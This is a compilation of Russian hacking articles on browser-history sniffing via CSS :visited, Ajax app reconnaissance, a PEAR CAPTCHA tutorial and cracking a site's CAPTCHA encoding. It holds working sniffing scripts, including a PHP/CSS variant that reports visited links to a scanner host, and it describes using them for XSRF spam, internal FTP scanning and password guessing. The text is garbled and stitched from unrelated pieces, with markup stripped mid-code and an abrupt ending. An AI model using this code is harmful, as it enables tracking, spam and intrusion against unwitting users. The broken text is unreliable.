Как же определить, по каким сайтам ходит пользователь? Техника сканирования довольно проста и вы будете сильно удивлены, ведь уже давно пользуетесь ею сами! Дело в том, что браузер сам запоминает определенное количество посещаемых вами ссылок, и если он снова встретит одну из них, то самостоятельно напомнит вам об этом, изменяя цвет текста:
‘); document.write(’#id’ + i + “:visited {color: #FF0000;}”); document.write(’
'); // добавляем ссылку в HTML-код страницы document.body.appendChild(link); // берем ее цвет var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color"); // удаляем ее document.body.removeChild(link); // и наконец проверяем, какого она была цвета if (color == "rgb(255, 0, 0)") { // красная – значит, посещенная // рисуем ее как посещенную var item = document.createElement('li'); item.appendChild(link); document.getElementById('visited').appendChild(item); } else { // не посещенная // рисуем ее как не посещенную var item = document.createElement('li'); item.appendChild(link); document.getElementById('notvisited').appendChild(item); } }
Этот скрипт создает теги ссылок и проверяет их цвет, если красный – ссылка была уже посещена, другой – на нее не переходили. Так составляется список посещенных страниц, при желании доступна онлайн-демонстрация этого кода [3]. Немного позже другой автор предложил вариант, работающий во всех браузерах. Новый вариант работает на тестировании размеров ссылки, а не ее цвета:
(онлайн-демонстрация доступна в сети [4])
var searchurls = [
"http://xakep.ru",
"http://mail.ru/",
"http://www.mail.ru/",
"http://ajaxian.com/",
"http://digg.com/",
"http://english.aljazeera.net/HomePage",
"http://ha.ckers.org",
"http://ha.ckers.org/blog/",
"http://jeremiahgrossman.blogspot.com/",
"http://login.yahoo.com/",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://my.yahoo.com/",
"http://reddit.com/",
"http://seoblackhat.com",
"http://slashdot.org/",
"http://techfoolery.com/",
"http://weblogs.asp.net/jezell/",
"http://www.amazon.com/",
"http://www.aol.com/",
"http://www.google.com/",
"http://mail.google.com/",
"http://www.yahoo.com",
"http://www.gnucitizen.org",
"http://www.securityfocus.com",
"http://www.nba.com"
];
document.write( '
' );
var output = '
Look where you've been:
- ';
- '+searchurls[i]+'
var c = document.createElement('div');
c.id='nicked';
document.body.appendChild(c)
for(i in searchurls){
var temp=document.createElement('a');
temp.href=searchurls[i];
temp.innerHTML=searchurls[i];
c.appendChild(temp)
if(temp.offsetHeight==1){
output+='
';
}
}
document.write(output+'
');
Таким образом, скрипт определяет, что посещенные ссылки будут иметь размер 1х1 пикселей:
После чего проверяет действительный размер для всех ссылок со списка, и если высота составляет 1 пиксель, сайт был посещен:
var temp=document.createElement('a');
temp.href=searchurls[i];
if(temp.offsetHeight==1)
{
// Сайт посещен!
}
В данном случае мы говорим о сетевой разведке, дающей вполне ощутимые результаты. Например, вас могут сканировать, чтобы определить ваш почтовый сервер. Если вы пользуетесь веб-интерфейсом почтовой службы Mail.Ru, то набираете адрес http://www.mail.ru; с другой стороны, пользователи Rambler вводят сайт рамблера. Просканировав посещенные страницы, атакующий может определить ваш почтовый сервер, и если он владеет техникой для его взлома, выбрать нужный метод, чтобы захватить вашу почту...
Занимательная арифметика или спам
Для убедительности я постараюсь продемонстрировать опасность данного сканирования в комбинации с другими атаками. Давайте посмотрим, как эта техника может быть использована для сбора почтовых адресов или рассылки спама.
Задача: какое количество почтовых адресов может быть собрано с одного форума, если он уязвим к XSS?
По условиям задачи у нас дано:
F (Форум) = 1 шт.
X (Уязвимость XSS) >= 1 шт.
Введем следующие понятия:
T (Длительность атаки) = t
Время t вычисляется как сумма времени, необходимого для реакции администраторов сайта и время на исправление ошибок форума.
Клиентов(N) = n
Количество клиентов n можно определить вычитанием из общего количества уникальных посещений за t часов, количества пользователей, не использующих почтовые веб-интерфейсы, пользователей, не загруженных в почтовую систему и пользователей с отключенными скриптами.
Как тест, пример будет реагировать на единственный почтовый сервер Mail.RU, на практике хакер может прописать сотни серверов. Для определения почтового адреса пользователя будем отправлять от его имени письмо с темой account (используя XSRF). Таким образом, получив письмо, мы пополним нашу базу почтовых адресов еще одним клиентом. Процесс эксплуатации состоит из двух компонент:
Сканирование клиента делается по выше описанному принципу, в результате мы получаем информацию о том, использует ли он почту на Mail.RU.
Для отправки письма будем использовать метод XSRF. Запрос на отправку письма будет прогружаться через изображение как фоновый рисунок посещенной ссылки.
И, собственно, сам код (упрощенный вариант):
mail.ru
В действительности атакующий может расширить функциональность и производить проверку большего количества почтовых систем. Более того, при желании код можно модифицировать для организации спам-рассылок, так что если у посетителя форума есть активная сессия на почтовом сервере, он сам становится источником спама, и именно с его адреса производится отправка рекламы! Бесплатный спам-трафик – дешевый спам ![]()
Уязвимость одного форума превращает его в стартовую площадку для всех последующих атак. И уязвимыми становятся почти все пользователи, они и так уязвимы, поскольку мы предполагаем, что ошибки существуют в большинстве веб-сервисов, просто к самим сервисам мы уже не привязаны и в большинстве случаев можем осуществлять атаки с других сайтов. А сканирование позволяет делать направленные атаки на конкретные службы. Что немаловажно, если количество возможных вариантов достигает тысячи. Запомните, не растрачивая сетевые ресурсы на попытки эксплуатации каждого сервиса, мы выигрываем время на саму атаку!
Аналитики компании MessageLabs опубликовали мартовский отчет о безопасности. Отмечается, что из 716 электронных сообщений, полученных MessageLabs, 249 были направлены на конкретные организации или пользователей. Таким образом, специалисты говорят о том, что спамерские и фишинговые атаки стали очень адресными и направлены на конкретных получателей. В MessageLabs отмечают, что с каждым днем эффективность массовых рассылок падает, а финансовые затраты растут. Поэтому злоумышленники начали переходить к более прямым и наглым методам.
Другой пример - нам необходимо подобрать пароль на внутренний FTP-сервер компании. Мы знаем, что ее сотрудники посещают корпоративный форум, последний доступен из Интернета и каждый желающий (потенциальный клиент) может задать свой вопрос. Вопросы читают сотрудники, это их работа, и это нормально. Нормально также то, что время от времени они посещают внутренний FTP-сервер компании, чтобы получить свежую документацию. Ненормально то, что атакующий может попытаться взломать форум извне и просканировать внутреннюю сеть в поисках этого самого FTP, более того, он может даже подбирать пароли (все это действительно, если для работы с FTP используется браузер)...
Проникновение на FTP
Существует ряд технологий для определения внутреннего IP адреса посетителя сайта, но о них мы поговорим в другой раз. Зато, определив его адрес, например, 192.168.150.1, мы можем предположить, что FTP-сервер находится с ним в одной подсети, и пользователь заходит на него время от времени. В таком случае, чтобы найти его, нет необходимости перебирать весь диапазон адресов, достаточно просканировать подсеть класса С...
document.write( '
' );
var output = '
Look where you've been:
- ';
- '+("ftp://192.168.150."+i )+'
var c = document.createElement('div');
c.id='nicked';
document.body.appendChild(c)
for(i=1;i<255;i++){
var temp=document.createElement('a');
temp.href="ftp://192.168.150."+i;
temp.innerHTML="ftp://192.168.150."+i;
c.appendChild(temp)
if(temp.offsetHeight==1){
output+='
';
}
}
document.write(output+'
');
В результате мы сканируем не 4294967296 адресов, а всего лишь 254! Задумайтесь, такие показатели производительности не могут оставить равнодушными никого. Но и это еще не все, применяя технику сканирования, мы можем попытаться подобрать пароль пользователя. Используя ftp://login:password@ftp.server как маску для сканирования, в комбинации с XSRF позволяют определить все необходимые данные для успешного проникновения на сервер.
Не только скрипт
Скрипты - всего лишь один из способов сканирования, в примере с почтовыми системами внимательные читатели могли заметить их полное отсутствие. Да, действительно, можно обойтись и без них. На практике хватает HTML и CSS на стороне клиента, плюс PHP со стороны сервера:
$listURL = array( "http://mail.google.com"
, "http://www.xakep.ru"
, "http://www.ya.ru"
, "http://www.webmoney.ru"
, "http://www.securitylab.ru"
, "http://www.voffka.com"
, "http://www.membrana.ru"
, "http://google.com"
, "http://www.google.com"
, "http://www.google.com.ua"
, "http://www.nnm.ru"
, "http://nnm.ru"
);
$scannerURL = 'http://0xfa60/visited/test.php';
function getScannerCode($listURL, $scannerURL )
{
$format = array( "style" => ".url%2$u:visited { background-image: url('%1$s?id=%2$u'); }n"
,"link" => "n"
);
$code = array( "style" => ''
, "link" => ''
, "status" => array()
, "listURL" => $listURL
, "scannerURL" => $scannerURL
);
foreach ($listURL as $i => $value)
{
$code["style"] .= sprintf( $format["style"], $scannerURL, $i);
$code["link"] .= sprintf( $format["link"], $listURL[$i], $i);
$code['status'][$i] = 0;
}
$code["style"] = "
nn";
return $code;
}
if ( $_GET['id'] != '' )
{
session_start();
$_SESSION['scan']['status'][$_GET['id']] = 1;
}
else
{
if( ($_GET['scan'] == 'start') || ( $_GET['scan'] == '' ) )
{
session_start();
session_unset();
$_SESSION['scan'] =
getScannerCode($listURL, $scannerURL );
echo( '' . "nn" );
echo( $_SESSION['scan']['style'] . $_SESSION['scan']['link'] );
echo( 'WAIT, SCAN IN PROGRESS...' );
};
if( $_GET['scan'] == 'stop')
{
session_start();
echo( "12.04.07 Visited URL scann, version without JavaScript Code
" );
echo( "START
" );
if( count($_SESSION['scan']['listURL']) != 0 )
{
echo( 'Visited URLs:
' );
$message = 'No visited URLs!
';
foreach ($_SESSION['scan']['listURL'] as $i => $value)
{
if( $_SESSION['scan']['status'][$i] == 1 )
{
echo( "{$_SESSION['scan']['listURL'][$i]}
" );
$message = '';
}
}
}
session_unset();
session_destroy();
}
}
?>
В результате создается следующий HTML-код:
WAIT, SCAN IN PROGRESS...
Как видите, в нем нет и намека на скрипты. Зато возможная угроза возрастает в несколько раз, ведь защититься от санирования простым отключением скриптов не выйдет. А внедрить такой код достаточно просто через фрейм. Впервые такую технику предложил Robert Hansen из хакерской группы Rsnake, демонстрация которой доступна в сети [5].
http://jeremiahgrossman.blogspot.com/
3. CSS History Hack (Firefox)
http://ha.ckers.org/weird/CSS-history-hack.html
4. CSS History Hack (Firefox + IE)
http://icant.co.uk/sandbox/nickhistory.html
5. CSS History Hack Without JavaScript
http://ha.ckers.org/weird/CSS-history.cgi
6. Clear Internet history Freeware
http://www.morun.net/www/clear-history/clear-internet-explorer-history.html
7. JavaScript «оружие» хакеров
http://www.cnews.ru/news/line/index.shtml?2007/04/20/246857
конецформыначалоформыКраулеры и симуляция броузера
Важным инструментом разведки web-приложений являются web-краулеры. Пауки обходят все страницы сервера и собирают все ссылки. Но что происходит если HREF указывает на JavaScript, осуществляющий Ajax вызов при помощи XHR объекта? Краулер может пропустить важную информацию.
Во многих случаях очень трудно симулировать работу rkbtynf. В качестве примера возьмем такие ссылки:
go1
go2
go3
При клике на линке go1 выполнится функция getMe(). Код ее такой (обратите внимание, что эта функциональность может быть реализована в отдельном файле):
function getMe()
{
var http;
http = new XMLHttpRequest();
http.open(”GET”, “hi.html”, true);
http.onreadystatechange = function()
{
if (http.readyState == 4) {
var response = http.responseText;
document.getElementById(’result’).innerHTML = response;
}
}
http.send(null);
}
Такой код делает простое Ajax обращение к hi.html ресурсу на сервере.
Можно ли симулировать клик автоматически? Да, можно. Вот один из примеров реализации при помощи плагина Chickenfoot , который предоставляет JavaScript-овый API расширяющий программный интерфейс браузера.
Используя Chickenfoot можно написать простой скрипт для автоматизации поведения броузера. Применяя эту методологию можно легко автоматизировать и web-краулеры. Приведу в качестве примера простой скрипт, который кликает все якори с событиями onClick. Преимущество этого плагина в том, что он реально обрабатывает события делая XHR Ajax вызовы, которые пропускаются обычными краулерами, не способными сымитировать событие onClick.
l=find(’link’)
for(i=0;i
test = a.onclick;
if(!(test== null)){
var e = document.createEvent('MouseEvents');
e.initMouseEvent('click',true,true,document.defaultView,1,0,0,0,
0,false,false,false,false,0,null);
a.dispatchEvent(e);
}
}
Можно загрузить этот скрипт в консоль Chickenfoot и запустить, как показано на рисунке:
Таким образом можно получить доступ к Ajax приложениям из Firefox. Есть так же несколько API вызовов , которые можно использовать в Chickenfoot плагине. Один из них это fetch команда для построения утилиты-паука.
Логика и ее анализ
Для анализа клиентских Ajax-приложений необходимо рассмотреть каждое из событий очень аккуратно, иначе мы потеряем логику работы. Один из путей определения логики работы это построчный разбор всего кода. Часто, каждое из событий вызывает несколько функций из одного файла. Следовательно, для анализа нужно проследить за исполняемым в броузере кодом.
Существует несколько мощных дебаггеров для JavaScript-ов, которые могут помочь достичь поставленной цели. Например это Firebug, другой вариант - venkman. Мы для примера возьмем первый вариант.
Рассмотрим простой пример логина. Страница login.html принимает имя и пароль от пользователя. Воспользуемся функцией inspect плагина Firebug для определения свойств формы.
Очевидно, что вызов идет к функцией ayth. Теперь можно перейти в дебаггер и посмотреть ее смысл.
Тут можно посмотреть все JavaScript-ы и их зависимости . Обращения идут к ajaxlib.js и validation.js. В этих файлах описано несколько функций и можно предположить, что процесс аутентификации использует несколько из них. Мы может использовать точки останова для пошагового исполнения всего приложения. Установив брейкпоинт мы можем ввести информацию в форму, нажать кнопку Submit и посмотреть что же произойдет. В нашем примере мы поставили брейкпоинт в функции auth:
Теперь можно заняться отладкой, достаточно кликать на кнопку "step in". Исполнение передается другой функции, userval, находящейся в validation.js:
Видно, что используется регулярное выражение для проверки введенного поля, после чего управление передается другой функции, callGetMethod:
В конце концов мы выходим на обращение к бекэнд web-сервису при помощи XHR объекта:
Вот мы и определили конечный ресурс:
http://example.com/2/auth/ws/login.asmx/ getSecurityToken?username=amish&password=amish
Этот ресурс - некий web-сервис, реализованный в .NET framework. Разбор всего процесса выявил интересную деталь: процесс идентификации можно легко обойти. Это потенциальная угроза безопасности приложения.
Проводя наше исследование дальше, мы можем получить доступ к сервису используя WSDL файл и прямой брутфорс сервиса. Кроме того мы так же можем запустить несколько инъекций - SQL или XPATH - при помощи wsChess. В данном конкретном случае приложение уязвимо для инъекции XPATH. Рассмотрение такого нападения находится за рамками этой статьи. В этой мы можем лишь определить возможные направления атаки - XSS, обход клиентской безопасности, выполнение злонамеренного Ajax кода, манипуляция DOM и т.д.
Заключение
Service-oriented architecture (SOA), Ajax, Rich Internet Applications (RIA) и web-сервисы критически важные компоненты нового поколения web-приложений. Что бы идти в ногу с этими технологиями и отвечать на задачи, которые ставит обеспечение безопасности, нам необходимо использовать разные методологии и инструменты. Один из них - эффективное использование браузера. В этой статье мы рассмотрели три приема доступа к web 2.0 приложениям. Используя их можно обнаружить, понять и изолировать связанные с Ajax уязвимости. Общая техника, описанная в этой статье - хорошее начало для исследований web 2.0 приложений.
AJAX и интерактивные веб-сервисы являются основой web 2.0 приложений. Новые технологии ставят и новые задачи по обеспечению безопасности. В этой статье мы рассмотрим некоторые методы, инструменты и приемы анализа web 2.0 приложений и обнаружения уязвимостей при помощи браузера Firefox и его плагинов.
Обзор работы web 2.0
Термин web 2.0 применяют к web-приложениям нового поколения, появившимся по мере развития технологий. Новые приложения предлагают мощный пользовательский интерфейс, основанный на Ajax и Flash. Технологический рывок целиком повлиял на архитектуру приложений и коммуникации между клиентом и сервером. В то же время он открыл новые направления обеспечения безопасности и защиты приложений.
Новые черви типа Yamanner, Samy и Spaceflash эксплуатируют клиентские Ajax структуры, открывая новые возможности для взлома и похищения клиентской информации.
Как показано на рисунке, действия браузера на клиентской стороне можно разделить на следующие слои:
Presentation layer – HTML и CSS обеспечивают отображение информации в окне браузера.
Logic & Process – JavaScript в браузере позволяет приложениям исполнять заданную логику.
Transport – XMLHttpRequest (XHR). Этот уровень обеспечивает асинхронную связь и механизм XML обмена между клиентом и сервером по HTTP(S).
Серверные компоненты справа обычно располагаются за файрволом и могут включать развернутые web-сервисы и традиционные web-приложения. Ajax ресурсы в броузере клиента могут напрямую обращаться к основанным на XML web-сервисам и обмениваться с ними информации без обновления страницы. Этот обмен скрыт от конечного пользователя, другими словами он не чувствует никаких переходов или обновлений. Использование обновлений и переходов было основой логики первого поколения приложений. В web 2.0 они по большей части устранены внедрением Ajax.
Оценка Web 2.0
В асинхронной структуре, приложениям не требуется много обновлений или переходов между страницами. Как результат, многие интересные серверные ресурсы, которые можно взломать, скрыты от глаз. Ниже три главные задачи которые стоят перед хакером при понимании web 2.0 приложений:
Обнаружение скрытых вызовов. Одна из главных задач это понимание XHR вызовов, которые делает загруженная в браузере страница. Она использует JavaScript over HTTP(S) для осуществления этих запросов к своему рабочему серверу.
Проблемы обзора всех ресурсов (Crawling challenges). Традиционные пауки лажаются в двух вещах: воспроизведении поведения броузера и определении ключевых серверных ресурсов в процессе. Если доступ к ресурсам происходит через XHR объект при помощи JavaScript-а, вполне вероятно нормальные краулеры не смогут справиться с обоими задачами.
Определение логики. В настоящее время web-приложения используют JavaScript-ы и трудно отделить логику приложения от обработки событий. Каждая страница может загружать три или четыре файла со скриптами с сервера. Каждый из файлов может иметь множество функций, однако лишь малая часть из них может использоваться для реализации логики.
Нам надо исследовать и определить методологию и инструменты для преодоления этих препятствий в процессе исследования web-приложений. В данной статье мы используем Firefox в качестве браузера и ряд его плагинов для работы с задачами.
Обнаружение скрытых вызовов
Web 2.0 приложения могут загружать одну страницу сервера, но делать несколько XHR вызовов при создании полноценной страницы. Эти вызовы могут тянуть контент или скрипты с сервера асинхронно. В нашем сценарии задача состоит в том, что бы определить все XHR вызовы и ресурсы, запрашиваемые с сервера. Эта информация поможет определить возможные уязвимости. Давайте же начнем с простого примера.
Представим, что мы хотим прочитать сегодняшние новости посетив простой сайт, располагающийся по адресу:
http://example.com/news.aspx
В браузере она выглядит так:
Запросы страницы мы может определить при помощи утилиты Firebug , плагина для Firefox, способного определять вызовы XHR объектов.
Перед открытием страницы , убедимся, что перехват этих запросов включен:
Включив в Firebug опцию перехвата XMLHttpRequest запросов, мы снова обращаемся к той же странице для определения всех обращений страницы к серверу.
Можно увидеть несколько запросов браузера при помощи XHR. Он загрузил dojo AJAX framework с сервера и в то же время обратился к серверу для получения новостной статьи:
http://example.com/ getnews.aspx?date=09262006
Если внимательно посмотреть на код, то можно увидеть следующую функцию в JavaScript-е:
function getNews()
{
var http;
http = new XMLHttpRequest();
http.open(”GET”, ” getnews.aspx?date=09262006″, true);
http.onreadystatechange = function()
{
if (http.readyState == 4) {
var response = http.responseText;
document.getElementById(’result’).innerHTML = response;
}
}
http.send(null);
}
Вышеописанный код делает асинхронное обращение к бекэнд серверу с запросом ресурса getnews.aspx?date=09262006. Содержание этой страницы помещается в элемент с id = ‘result’ на странице клиента. Это самый типичный Ajax запрос с использованием XHR объекта.
Анализируя это приложение мы можем определить уязвимый внутренний URL, запрос и сконструировать свой POST запрос уже с нужными нам параметрами. Например, в приведенном примере параметр date может быть уязвим к SQL-инъекции
Оказывается, мир информационной безопасности тоже грязен и очень замешан на деньгах. Например, мы обнаружили, можно сказать, небольшую уязвимость в продукте фирмы Битрикс. Кто не знает – это такая система разработки сайтов на которой сделан securitylab.ru. Сайт в свою очередь делает Positive Technologies, которая в свою очередь выдала сертификат «Безопасное Веб Приложение» Битриксу. Вот такой круговорот денег в природе. Смысл в том, что все друг-друга прикрывают. И когда мы им сообщили об этой уязвимости – всем было пофигу, сертификат есть и дальше хоть трава не расти.
Технология CAPTCHA
Блуждая в глобальной сети мы наткнулись на статью, описывающую модуль captcha. Модуль применяется для защиты форумов, гостевых книг, сайтов c возможностью отправки SMS и так далее. В основе этого модуля лежит теория тестов Тьюринга. Но это отдельная тема для разговора. Попыток научиться распознавать эти картинки было множество, причём многие из них имели успех (например, был создан модуль в FineReader и т.д.). О методах можно прочитать, например тут. Так вот, вернёмся к этому модулю, который как раз на практике и реализует это дело и должен защищать наши сайты от ботов и так далее.
В статье Маркуса Уитни (phpdevelop.info ), посвящённой captcha, сказано:
Если у вас есть публично доступные веб-формы, вы в любой момент можете быть подвергнуты атакам со стороны людей, желающих использовать ваши приложения для собственных целей. Форумы, голосования, гостевые книги и блоги – все это популярные места для роботов, пытающихся сгенерировать неаутентичные сообщения на вашем сайте. Многие сайты, такие как Yahoo, в данный момент используют CAPTCHA. CAPTCHA или “completely automated public Turing test to tell computers and humans apart,” (”полностью автоматизированный тест Тьюринга для разделения компьютеров и людей”) является проектом Carnegie Mellon School of Computer Science, который предоставляет все необходимое для того, чтобы определить, человек или компьютер инициировал запрос. Технология CAPTCHA позволяет вам отличать человеческие запросы от запросов, сгенерированных компьютером, в вебе, где провести такое различие сложно.
Заметьте: В соответствии с Wikipedia, Тест Тьюринга – это тест возможности машины вести человекоподобные разговоры.
Вы, возможно, уже видели проект CAPTCHA в действии в каких-нибудь точках своего веб-маршрута. Принцип работы инструмента состоит в генерации изображения, содержащего фразу, не упоминаемую нигде на странице в формате, читабельном для компьютера. Форма просит пользователя указать фразу. Если данные формы не содержат правильной фразы, вы можете предположить, либо что человек сделал пользовательскую ошибку, либо что это был вовсе не человек.
Установка Text_CAPTCHA
Благодаря Кристиану Вензу, в PEAR есть пакет, полностью предназначенный для проведения этих тестов как инструментов безопасности на вашем сайте. Пакет Text_CAPTCHA использует функциональность PHP GD для создания динамических изображений со случайными фразами и предоставляет простой объектно-ориентированный интерфейс. Для того, чтобы использовать Text_CAPTCHA, вы должны иметь установленную GD с поддержкой JPEG, PNG и шрифтов TrueType. Для получения дополнительной информации смотрите PHP Image Functions. Text_CAPTCHA зависит от двух других PEAR пакетов: Image_Text и Text_Password. Он использует Text_Password для генерации случайной фразы, используемой в тесте CAPTCHA и Image_Text для генерации изображения с текстом. Процесс установки Text_CAPTCHA в командной строке следующий:
$ pear install Text_Password
$ pear install Image_Text
$ pear install –alldeps Text_CAPTCHA
Представляем CAPTCHA
Пришло время применить этот пакет в деле. Простой и часто используемый интерфейс для введения этой новой меры безопасности – это форма комментариев в блоге. В этой форме вы обычно запрашиваете имя, e-mail и комментарий от персоны, посылающей сообщение в ваш блог. Форма может выглядеть следующим образом:
Чтобы применить технологию CAPTCHA, добавьте тэг изображения перед кнопкой отправки формы для проверки, является ли посетитель человеком:
Пожалуйста, введите текст на изображении ниже:

Здесь Text_CAPTCHA входит в игру. Перед выводом формы инициализируйте Text_CAPTCHA с помощью кода вроде того, что приведен ниже:
require_once('Text/CAPTCHA.php');
$captcha = Text_CAPTCHA::factory('Image');
$captcha->init(150,150);
?>
Первая строка требует файл Text_CAPTCHA.php. Вторая строка использует фабрику класса Text_CAPTCHA для возврата объекта подкласса Text_CAPTCHA. Дизайн Text_CAPTCHA позволяет создавать CAPTCHA с помощью разных драйверов. Вспомните, CAPTCHA – это технология для различия людей и компьютеров, а не только для генерации изображений для этого. Аргумент для метода-фабрики Image дает инструкцию Text_CAPTCHA создать объект драйвера Image, чтобы сгенерировать случайное изображение. Третья строка инициализирует объект Text_CAPTCHA и готовит его к использованию.
Фазу инициализации мы обследуем более подробно. Для начала, она принимает два параметра: ширину и высоту случайно сгенерированного изображения. Эти параметры опциональны и имеют значения по умолчанию 200 и 80 соответственно. init() также принимает два дополнительных, опциональных параметра. Первый – это $phrase, который позволяет программисту задать секретную фразу для использования в сгенерированном изображении. Если вы не передаете фразу, init() автоматически создаст фразу с максимальной длинной в восемь символов. Последний параметр – это массив $options, который позволяет вам передавать параметры в объект PEAR Image_Text, которые init() использует для создания изображения с текстом.
Массив $options – это важный параметр для данного применения Text_CAPTCHA, так как эти опции задают используемый шрифт и его размер, а также путь к шрифтам в вашей системе. Чтобы настроить эти параметры, создайте и передайте массив в метод init(), как следует ниже:
$text_image_options = array(
‘font_size’=>’20′,
‘font_path’=>’/path/to/fonts/’,
‘font_file’=>’ARIAL.TTF’
);
$captcha->init(150,150,NULL,$text_image_options);
Как только init() создал изображение и фразу, остальной процесс довольно прост. Вы должны создать файл изображения, читабельный для браузера. init() не делает это автоматически. Чтобы получить доступ к изображению, используйте методы доступа getCAPTCHAAsJPEG() или getCAPTCHAAsPNG(), обе из которых возвращают случайно сгенерированное изображение в буфере, так что вы просто можете сделать дамп в свежий файл. Если вы используете PHP4, сделать это можно следующим образом:
$image_data = $captcha->getCAPTCHAAsJPEG();
$handle = fopen(’captcha.jpg’, ‘a’);
fwrite($handle, $image_data);
fclose($handle);
В PHP5 это намного более просто, используя функцию file_put_contents:
$image_data = $captcha->getCAPTCHAAsPNG();
file_put_contents(’captcha.png’,$image_data);
Следующее, что необходимо сделать – это выделить фразу из текущего объекта и сохранить ее в переменной сессии. Если вы еще не создали сессию для данного пользователя, то самое время это сделать:
session_start();
Теперь, используя метод доступа getPhrase() Text_CAPTCHA, присвойте фразу переменной сессии для подготовки к тесту сообщения из формы:
$_SESSION['captcha_phrase'] = $captcha->getPhrase();
Проверка CAPTCHA
Вот и все со стороны формы. Теперь время определить, является ли пользователь человеком или нет. При отправке формы, просто проверяйте, задана ли фраза и совпадает ли она с хранящейся в переменной сессии. Если они совпадают, вы можете продолжить с соответствующим действием POST. Иначе отвергните отправку формы и примените те меры, которые вы считаете подходящими. Следующий код демонстрирует логику проверки теста CAPTCHA:
session_start();
if (isset($_POST['captcha_phrase']) &&
$_POST['captcha_phrase'] == $_SESSION['captcha_phrase'])
{
// операции по публикации
}
else {
// проверка безопасности
}
?>
Завершение
CAPTCHA может быть хорошим способом ограничить количество успешных, но нежелательных HTTP POST-запросов в вашем приложении. Text_CAPTCHA предоставляет подходящий объект для реализации этой функциональности. В данный момент, пакет находится в состоянии альфа, и поэтому не является официально годным для продуктивных сайтов. Так или иначе, он близок к прекрасному началу и привносит сознание безопасности PEAR, что всегда ценится. Счастливого CAPTCHA-инга!
и в статье Анатолия Ализара:
Полностью автоматизированный обратный тест Тьюринга (Completely Automated Public Turing Test to Tell Computers and Humans Apart) — компьютерная задача, которую может решить человек, но не может программа.
Почти каждому пользователю приходилось хотя бы однажды решать в интернете примитивные задачи — определять, какие цифры скачут на экране, записывать слова и цифры, изображенные в плохом качестве на грязном фоне и т.д. Такие задачи приходится решать в процессе заполнения анкеты, например, во время регистрации в почтовой службе. Они имеют одну цель — предотвратить автоматическое заполнение анкет компьютерными программами, то есть обеспечить гарантию, что анкету заполняет именно человек.
Полное название таких примитивных, но эффективных тестов — CAPTCHA (Completely Automated Public Turing Test to Tell Computers and Humans Apart), что означает «полностью автоматизированный публичный тест Тьюринга для различия компьютеров и людей». Такие задачи частенько называют обратными тестами Тьюринга, потому что они используют идею знаменитого математика Алана Тьюринга тестировать компьютерные программы на «человечность», но предназначены, наоборот, для тестирования людей (с той же целью).
В тестах CAPTCHA используются известные недостатки искусственного интеллекта, который пока не научился эффективно анализировать аналоговую информацию. Например, самый распространенный тест Gimpy представляет собой картинку с изображениями семи искаженных слов, случайным образом выбранных из словаря. Буквы накладываются друг на друга, и на сегодняшний день ни одна известная программа не способна определить хотя бы три слова, изображенных на картинке, хотя для человека это не представляет никакого труда.
Упрощенная версия Gimpy (с одним трудночитаемым словом или цифрами на сложном фоне) является частью процесса регистрации во многих почтовых службах, например, в Yahoo! Mail или на «Яндекс.Почте». Внедрение тестов в регистрационный процесс позволяет полностью избавиться от автоматических регистраций, которые выполняют спамерские роботы для проведения анонимных массовых рассылок. Лишь недавно появились эффективные программы, созданные в учеными из Университета Беркли и Кембриджа. Эти программы могут решить от 83% до 93% простых вариантов теста Gimpy, но у спамеров пока нет такого софта. Очевидно, скоро он появятся, и «Яндекс.Почте» придется использовать более сложный тест CAPTCHA.
Еще один тест, Sounds , состоит из искаженных, сгенерированных компьютером звуков, которые образуют слово или последовательность чисел. Человек должен распознать звуки и написать результат. Программа на это не способна. Всего на сайте проекта CAPTCHA выложены пять разработанных учеными тестов (Gimpy, Bongo, Pix, Sounds и Byan), причем бета-тестирование одного из них (Pix) пока не закончено.
Важной особенностью тестов CAPTCHA является то, что все они автоматически генерируются компьютерами, то есть оптимизированы для использования в интернет-приложениях. Для непосвященного человека может показаться странным, что компьютер способен составить тест, но не способен его решить. На самом деле здесь нет ничего удивительного. Программа может сгенерировать тест и выложить его в интернет, собрать у людей результаты и оценить правильность ответов, но самостоятельно решить задачу она не способна.
Тесты CAPTCHA были изобретены учеными из университета Карнеги-Меллона, а первое упоминание о них в прессе приходится на 21 октября 2001 г.
нас заинтересовал следующий абзац:
Принцип работы инструмента состоит в генерации изображения, содержащего фразу, не упоминаемую нигде на странице в формате, читабельном для компьютера. Форма просит пользователя указать фразу. Если данные формы не содержат правильной фразы, вы можете предположить, либо что человек сделал пользовательскую ошибку, либо что это был вовсе не человек.
Так ли это? Точно ли компьютер не может определить, что написано на данной картинке? Точно ли на странице нигде нельзя найти эту фразу? Мы провели собственное расследование.
Проблемы
За примером далеко не пойдём. И возьмём CAPTCHA c securitylab.ru, где он, например, используется на странице регистрации или на странице обсуждения статей и новостей.
Постановка задачи: без помощи распознавания изображения узнать цифры на картинке.
Первое, что пришло на ум – посмотреть свойство картинки.
Угадайте, что нас заинтересовало? Правильно – «?captcha_code=%7E%D32%7F%8F».
Вставляем ссылку в окно адреса браузера и начинаем играть.
Теперь нажмём обновить страницу
Изображение изменилось, но цифры остались те же самые. Это значит, что установлено взаимно однозначное соответствие между множеством картинок и множеством цифр, которые этим картинкам соответствуют. Продолжаем. Теперь после «=» поставим ………. ничего не поставим).
-« ?captcha_code=»
Значит ничего отображается в ничего. Отлично.
Далее « ?captcha_code=12345».
Получаем:
Теперь « ?captcha_code=12355».
Делаем второй важный вывод: каждой цифре (знаку) в строке параметра соответствует знак в картинке. Причём важен порядок. (1я цифра(знак) в строке параметра – 1-й знак на картинке и так далее). Можете это проверить самостоятельно.
Идём дальше: « ?captcha_code=1».
Теперь « ?captcha_code=11».
Вывод – алгоритмы получения символов для 1-й и 2-й позиции отличаются.
Далее « ?captcha_code=111».
Предположение: позиция номер 3 характерна тем, что одинакова в обоих отображениях.
Проверка: « ?captcha_code=11q».
Предположение доказано.
Следующая позиция « ?captcha_code=11q1».
И опять предположение: позиция 4 и позиция 1 шифруют с одинаковым алгоритмом.
Проверка: ?captcha_code=21q2.
Считаем, что предположение доказано.
Продолжим: « ?captcha_code=11111».
Вывод: алгоритм 5-й позиции уникален.
Подведём мини итог. Перед тем, как мы будем дальше решать эту задачу, хотим заметить, что условие, выдвинутое в описание модуля CAPTCHA, мы уже нарушили. Мы думаем, что для многих, кто хоть немного знаком с криптографией уже сложилось впечатление, что алгоритм зашифровки ненадёжен. Причем, даже очень ненадёжен.
Что мы имеем.
А Б С А В
5 символов. Где А – 1й алгоритм, Б – 2й алгоритм, С – символ без изменений, В – 3й алгоритм.
